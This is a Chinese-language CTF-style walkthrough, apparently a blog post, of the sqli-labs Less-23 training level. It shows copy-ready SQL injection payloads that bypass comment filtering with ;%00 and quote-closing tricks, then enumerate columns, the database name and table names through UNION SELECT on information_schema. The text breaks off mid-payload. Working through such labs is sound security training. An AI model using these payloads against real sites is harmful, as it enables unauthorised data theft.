sqli-labs Less23 GET-Error based - strip comments

Less-23 get 方式注入,过滤了注释符

当输入?id=1时,登陆成功

当输入?id=1’ 或 ?id=1’ and 1=1 --+ 或?id=1’ and 1=1 # 均显示错误
可判断闭合方式为 单引号

查看源码发现注释符都被替换为了空格,在这里可以使用另外一种特殊的注释符 ;%00 (英文输入法)。
测试输入 ?id=1’ and 1=1;%00 后可正常显示。
此关也可以基于报错注入、延时注入、利用 or ‘1’='1 进行闭合

方法一:联合查询

语句除了最后的注释符不一样其他的和Less-1的联合查询的方法基本是一样的
下面针对过滤了注释符的情况,采用不同的方法来进行测试

判断列数 :
?id=1’order by 3;%00

?id=1’order by 3 or ‘1’='1

?id=1’order by 1,2,3,'4

测试回显位置 :
?id=-1’union select 1,2,3;%00

?id=-1’union select 1,2,3 or ‘1’='1

?id=-1’union select 1,2,'3

查数据库名:
?id=-1’union select 1,2, database() ;%00

?id=-1’union select 1, database(),3 or ‘1’='1

?id=-1’union select 1, database() ,'3

查表名:
因为这里涉及到where与or语句的混合,只能用双注入即CONCAT子查询。

?id=-1'union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security';%00
?id=-1'union select 1,2, table_name from information_schema.tables where table_schema='security' limit 3,1;%00

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),3 or '1
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值